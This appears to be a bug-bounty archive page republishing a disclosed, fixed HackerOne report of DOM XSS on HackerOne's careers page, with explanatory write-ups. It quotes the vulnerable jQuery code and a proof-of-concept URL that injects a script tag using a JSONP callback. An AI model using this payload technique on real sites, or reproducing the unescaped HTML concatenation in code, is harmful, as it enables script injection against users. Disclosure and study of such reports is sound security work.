Skip to content
XSS Disclosed report Intermediate

Cross-site Scripting (XSS) on HackerOne careers page

The careers page read a query-string parameter and inserted it into a job listing link without sanitising it, so a crafted URL could inject HTML and script into the page. The reporter could not get script to run in Chrome or Firefox because of CSP and URL encoding, but it worked in IE and Edge.

khoidv1 Follow

Originally disclosed on HackerOne

Bounty$500 Low 2.4 View original
  • Triaged in under an hour
  • Fixed in 14 days
  • Paid in 14 days
  • Disclosed after 44 days

Dear HackerOne team, Summary: I found DOM XSS at endpoint https://www.hackerone.com/careers, but can not bypass CSP. It's work on IE and Edge.

Steps To Reproduce

  • JS file is "Masonry js file", vulnerability code:
JavaScript
//Checking for potential Lever source or origin parameters
var pageUrl = window.location.href;
var leverParameter = '';
var trackingPrefix = '?lever-'

if( pageUrl.indexOf(trackingPrefix) >= 0){
  // Found Lever parameter
  var pageUrlSplit = pageUrl.split(trackingPrefix);
  leverParameter = '?lever-'+pageUrlSplit[1];
}
JavaScript
 var link = posting.hostedUrl+leverParameter;
    
    	jQuery('#jobs-container .jobs-list').append(
      '<div class="job '+teamCleanString+' '+locationCleanString.replace(',', '')+' '+commitmentCleanString+'">' +
        '<a class="job-title" href="'+link+'"">'+title+'</a>' +
        '<p class="tags"><span>'+team+'</span><span>'+location+'</span><span>'+commitment+'</span></p>' +
        '<p class="description">'+shortDescription+'</p>' +
        '<a class="btn" href="'+link+'">Learn more</a>' +
      '</div>'  
    
      );
  • link variable is append by jquery.
  • POC: https://www.hackerone.com/careers?lever-#aaa"><script src="https://app-sj17.marketo.com/index.php/form/getForm?callback=alert"></script>

Optional: Your Environment (Browser version, Device, etc)

  • IE, Edge (because url is encoded on firefox and chrome)

Optional: Supporting Material/References (Screenshots)

dom_xss_h1.JPG
dom_xss_h1.JPG From the original on HackerOne
inject_html.JPG
inject_html.JPG

Impact

  • XSS but can not bypass CSP
  • inject html code

The original report as published on HackerOne, by khoidv1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the page copied a URL parameter into a link attribute and then built HTML from it with jQuery without escaping, so the value could break out of the attribute and add new elements.

Impact

An attacker could inject HTML into the careers page and, in IE and Edge only, run script; CSP blocked the script in other browsers.

What the attacker needed

Victim opens a crafted link; victim uses IE or Edge; CSP does not block the script

How it was found

  1. Open the careers page with a crafted query string containing the lever marker and injected markup.
  2. The page script reads the full URL and extracts everything after the lever marker.
  3. That extracted value is concatenated into the job link and appended to the page as HTML.
  4. The injected markup is rendered, and in IE or Edge the script runs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The page took part of the web address (the bit after a marker) and pasted it straight into the page's HTML. Because it was not cleaned first, an attacker could put their own HTML tags in the link and make the browser treat them as real page content. A Content Security Policy (a browser rule that blocks scripts from unknown sources) stopped the script from running in most browsers, but not in older ones.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by khoidv1

View all

1 more disclosed report, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.